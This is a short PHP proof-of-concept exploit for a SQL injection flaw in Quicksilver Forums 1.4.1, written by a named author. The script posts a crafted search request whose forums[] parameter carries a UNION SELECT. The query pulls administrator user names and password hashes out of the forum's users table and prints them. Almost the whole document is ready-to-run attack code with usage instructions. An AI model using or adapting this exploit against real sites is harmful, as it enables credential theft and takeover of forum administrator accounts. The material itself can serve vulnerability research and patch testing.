Quicksilver Forums 1.4.1 forums[] Remote SQL Injection Exploit

<?php
    /*
    . vuln.: Quicksilver Forums 1.4.1 (forums[]) Remote SQL Injection Exploit
    . download: http://www.quicksilverforums.com/
    .
    . author: irk4z[at]yahoo.pl
    . homepage: http://irk4z.wordpress.com/
    .
    . greets: all friends ;)
    .
    . this is PoC exploit
    */
    $host = $argv[1];
    $path = $argv[2];
    $prefix = "qsf_"; // this is default prefix
    echo
    ".\n. Quicksilver Forums 1.4.1 (forums[]) Remote SQL Injection Exploit\n.\n".
    ". author: irk4z[at]yahoo.pl\n".
    ". homepage: http://irk4z.wordpress.com/\n".
    ".\n".
    ". usage: php ".$argv[0]." host path\n".
    ". php ".$argv[0]." localhost /\n\n";
    if(empty($host)||empty($path))die('# wrong host or path..');
    $post_data = "query=I-like-it&forums[]=2)/**/limit/**/0/**/UNION/**/SELECT/**/1,1,concat(0x5b3a213a5d,user_name,0x3A,user_password,0x5b3a213a5d),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/FROM/**/".$prefix."users/**/WHERE/**/user_group=1/*&searchtype=match&member_text=&member_select=exact&showposts_check=on&limit_check=on&limit_chars=400&time_check=on&time_way_select=newer&time_select=31&submit=Search";
    $data = "POST ".$path."index.php?a=search HTTP/1.1\r\n";
    $data .= "Host: ".$host."\r\n";
    $data .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $data .= "Content-length: ".strlen($post_data)."\r\n";
    $data .= "Connection: Close\r\n";
    $data .= "\r\n";
    $data .= $post_data."\r\n\r\n";
    $s = @fsockopen($host, 80);
    if (empty($s)) die('# wrong host..');
    fputs($s, $data); $retu ='';
    while(!feof($s)){
    $retu .= fgets($s);
    }
    fclose($s);
    $tmp = explode('[:!:]',$retu);
    if(empty($tmp[1]))die('sorry, exploit failed.. maybe try again in a few seconds..');
    echo " " . $tmp[1] . "\n\ndone.";
    ?>